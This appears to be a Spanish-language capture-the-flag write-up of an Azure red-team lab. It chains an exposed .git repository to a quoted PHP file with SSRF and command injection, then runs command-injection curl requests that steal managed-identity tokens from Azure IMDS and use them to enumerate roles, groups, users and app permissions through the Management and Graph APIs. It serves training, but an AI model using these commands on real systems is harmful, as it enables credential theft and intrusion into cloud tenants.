Azure Cloud Red Teaming Writeup
Módulo 2 — Azure Cloud Red Teaming Writeup
Laboratorio: CWL Meta Tech — Multi-Cloud Red Team Assessment Plataforma: CyberWarFare Labs Objetivo: Identificar y explotar misconfiguraciones en la infraestructura Azure de CWL Meta Tech Corporation.
Flag 1 — Subdominio con app vulnerable en Azure VM
Enumeración de Subdominios
Usamos gobuster para enumerar subdominios de meta-tech.cloud:
gobuster dns --domain meta-tech.cloud \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
--threads 20 --resolver 8.8.8.8 --timeout 5s 2>/dev/null | grep -v ERROR
Resultado:
www.meta-tech.cloud
internal.meta-tech.cloud
Verificamos que internal.meta-tech.cloud responde:
curl -sI http://internal.meta-tech.cloud/
HTTP/1.1 200 OK
Server: Apache/2.4.29 (Ubuntu)
El subdominio internal.meta-tech.cloud aloja la aplicación vulnerable en Azure.
Flag 1: internal.meta-tech.cloud
Flag 2 — iss claim del JWT
.git expuesto y SSRF
Igual que en el módulo AWS, el servidor tenía .git expuesto en la raíz:
git-dumper http://internal.meta-tech.cloud/.git /tmp/gitdump-azure
El process.php reveló la misma vulnerabilidad:
<?php
$ip = $_POST['ip'];
$content = file_get_contents($ip);
$org = $_POST['organization'];
$org_output = system($org);
echo $org_output, $content;
?>
Parámetro ip para SSRF y organization para RCE.
Obtención del JWT desde Azure IMDS
Azure IMDS requiere el header Metadata: true:
curl -s -X POST "http://internal.meta-tech.cloud/CSP-1/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode 'organization=curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"'
La respuesta contiene el JSON con el access_token. Decodificamos el payload del JWT:
echo "PAYLOAD_BASE64" | base64 -d | python3 -m json.tool
{
"iss": "https://sts.windows.net/68b40a4c-50f1-48f3-b7cb-916dd82418a7/",
"tid": "68b40a4c-50f1-48f3-b7cb-916dd82418a7",
"oid": "3c19c764-a8dd-492d-bae8-0b2146630ab1"
}
Flag 2: https://sts.windows.net/68b40a4c-50f1-48f3-b7cb-916dd82418a7/
Flag 3 — Tenant ID
El tid en el payload del JWT es el Tenant ID.
Flag 3: 68b40a4c-50f1-48f3-b7cb-916dd82418a7
Flag 4 — Subscription ID
El JWT también contiene xms_mirid que revela el resource ID completo de la VM:
/subscriptions/4ebaca3d-8642-4a01-b544-e62550598323/resourcegroups/IT-RG/providers/Microsoft.Compute/virtualMachines/it-vm
También se puede obtener del Instance Metadata endpoint:
curl -s -X POST "http://internal.meta-tech.cloud/CSP-1/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode 'organization=curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"'
Flag 4: 4ebaca3d-8642-4a01-b544-e62550598323
Flag 5 — Subscription-level Role de la VM Identity
Extraemos el token de Management API y consultamos los role assignments:
# Parsear el token
MGMT_RESP=$(curl -s -X POST "http://internal.meta-tech.cloud/CSP-1/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode 'organization=curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"')
MGMT_TOKEN=$(echo "$MGMT_RESP" | python3 -c "
import sys, json
raw = sys.stdin.read()
decoder = json.JSONDecoder()
obj, _ = decoder.raw_decode(raw)
print(obj['access_token'])
")
SUB="4ebaca3d-8642-4a01-b544-e62550598323"
OID="3c19c764-a8dd-492d-bae8-0b2146630ab1"
# Obtener role assignments para la VM identity
curl -s -H "Authorization: Bearer $MGMT_TOKEN" \
"https://management.azure.com/subscriptions/$SUB/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&\$filter=principalId+eq+'$OID'" \
| python3 -m json.tool
{
"properties": {
"roleDefinitionId": "/subscriptions/.../providers/Microsoft.Authorization/roleDefinitions/acdd72a7-3385-48ef-bd42-f606fba81ae7",
"scope": "/subscriptions/4ebaca3d-8642-4a01-b544-e62550598323"
}
}
Resolvemos el GUID del role:
curl -s -H "Authorization: Bearer $MGMT_TOKEN" \
"https://management.azure.com/subscriptions/$SUB/providers/Microsoft.Authorization/roleDefinitions/acdd72a7-3385-48ef-bd42-f606fba81ae7?api-version=2022-04-01" \
| python3 -m json.tool | grep roleName
"roleName": "Reader"
Flag 5: Reader
Flag 6 — Scope de "custom-role-definition"
Buscamos el role personalizado:
# Obtener el GUID del custom role
curl -s -H "Authorization: Bearer $MGMT_TOKEN" \
"https://management.azure.com/subscriptions/$SUB/providers/Microsoft.Authorization/roleDefinitions?api-version=2022-04-01&\$filter=roleName+eq+'custom-role-definition'" \
| python3 -m json.tool
GUID del custom role: 3073a810-518a-273e-97d6-c30abcf852cd
Listamos todos los role assignments y filtramos:
curl -s -H "Authorization: Bearer $MGMT_TOKEN" \
"https://management.azure.com/subscriptions/$SUB/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01" \
| python3 -c "
import sys, json
data = json.load(sys.stdin)
for v in data.get('value', []):
if '3073a810-518a-273e-97d6-c30abcf852cd' in v['properties']['roleDefinitionId']:
print('SCOPE:', v['properties']['scope'])
"
SCOPE: /subscriptions/4ebaca3d-8642-4a01-b544-e62550598323/resourceGroups/IT-RG/providers/Microsoft.Compute/virtualMachines/it-vm
Flag 6: /subscriptions/4ebaca3d-8642-4a01-b544-e62550598323/resourceGroups/IT-RG/providers/Microsoft.Compute/virtualMachines/it-vm
Flag 7 — Acciones en "custom-role-definition"
Del mismo response anterior:
"permissions": [{
"actions": ["Microsoft.Resources/subscriptions/resourceGroups/read"],
"notActions": [],
"dataActions": [],
"notDataActions": []
}]
Flag 7: Microsoft.Resources/subscriptions/resourceGroups/read
Flag 8 — Miembro del grupo "IT Ops"
Necesitamos un token para Microsoft Graph:
GRAPH_RESP=$(curl -s -X POST "http://internal.meta-tech.cloud/CSP-1/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode 'organization=curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/"')
GRAPH_TOKEN=$(echo "$GRAPH_RESP" | python3 -c "
import sys, json
raw = sys.stdin.read()
decoder = json.JSONDecoder()
obj, _ = decoder.raw_decode(raw)
print(obj['access_token'])
")
Buscamos el grupo "IT Ops":
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/groups?\$filter=displayName+eq+'IT+Ops'"
"id": "796afff8-eb75-4b59-b466-f45267140514"
Obtenemos sus miembros:
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/groups/$GROUP_ID/members?\$select=displayName,mail,userPrincipalName"
{
"displayName": "IT",
"userPrincipalName": "it@meta-tech.cloud"
}
Flag 8: it@meta-tech.cloud
Flag 9 — Owner de "prod-app"
Buscamos la aplicación:
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/applications?\$filter=displayName+eq+'prod-app'"
"id": "8c39f5cb-a738-42e2-8ba0-5c61fa8a032a"
Obtenemos sus owners:
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/applications/$APP_OBJECT_ID/owners?\$select=displayName,userPrincipalName"
{
"displayName": "IT",
"userPrincipalName": "it@meta-tech.cloud"
}
Flag 9: IT
Flag 10 — Permiso de Microsoft Graph en "dev-app"
Buscamos dev-app y sus requiredResourceAccess:
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/applications?\$filter=displayName+eq+'dev-app'" \
| python3 -m json.tool
"requiredResourceAccess": [{
"resourceAppId": "00000003-0000-0000-c000-000000000000",
"resourceAccess": [
{"id": "df021288-bdef-4463-88db-98f22de89214", "type": "Role"},
{"id": "b4e74841-8e56-480b-be8b-910348b18b4c", "type": "Scope"}
]
}]
Resolvemos los GUIDs contra el Service Principal de Microsoft Graph:
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/servicePrincipals?\$filter=appId+eq+'00000003-0000-0000-c000-000000000000'&\$select=appRoles,oauth2PermissionScopes" \
| python3 -c "
import sys, json
data = json.load(sys.stdin)
sp = data['value'][0]
for s in sp['oauth2PermissionScopes']:
if s['id'] in targets: print('Scope:', s['value'])
for r in sp['appRoles']:
if r['id'] in targets: print('AppRole:', r['value'])
"
Scope: User.ReadWrite
AppRole: User.Read.All
Flag 10: User.Read.All — el permiso de aplicación (AppRole) asignado a dev-app sobre Microsoft Graph.
Resumen de Flags
| # | Pregunta | Respuesta |
|---|---|---|
| 1 | Subdominio con app en Azure VM | internal.meta-tech.cloud |
| 2 | iss claim del JWT |
https://sts.windows.net/68b40a4c-50f1-48f3-b7cb-916dd82418a7/ |
| 3 | Tenant ID | 68b40a4c-50f1-48f3-b7cb-916dd82418a7 |
| 4 | Subscription ID | 4ebaca3d-8642-4a01-b544-e62550598323 |
| 5 | Role subscription-level de VM identity | Reader |
| 6 | Scope de custom-role-definition | /subscriptions/4ebaca3d-8642-4a01-b544-e62550598323/resourceGroups/IT-RG/providers/Microsoft.Compute/virtualMachines/it-vm |
| 7 | Acción en custom-role-definition | Microsoft.Resources/subscriptions/resourceGroups/read |
| 8 | Email de miembro de IT Ops | it@meta-tech.cloud |
| 9 | Display name del owner de prod-app | IT |
| 10 | Permiso Graph de dev-app | User.Read.All (AppRole) |
Lecciones Aprendidas
- Subdominios: La enumeración de subdominios reveló
internal.meta-tech.cloudapuntando a Azure. - .git expuesto: El mismo patrón de fuga de código fuente del módulo AWS se repitió en Azure.
- Azure IMDS requiere header: A diferencia de AWS, Azure exige
Metadata: trueen el header. - JWT contiene metadata valiosa: El token incluye
tid(tenant),oid(object ID),xms_mirid(resource ID de la VM con subscription). - Graph API: Con el token adecuado se puede enumerar toda la información de Entra ID: grupos, usuarios, aplicaciones y permisos.
- REST API sin Az CLI: Todas las operaciones de Azure se hicieron directamente contra las REST API con
curl, sin necesidad de herramientas comoAz PowerShelloAzure CLI.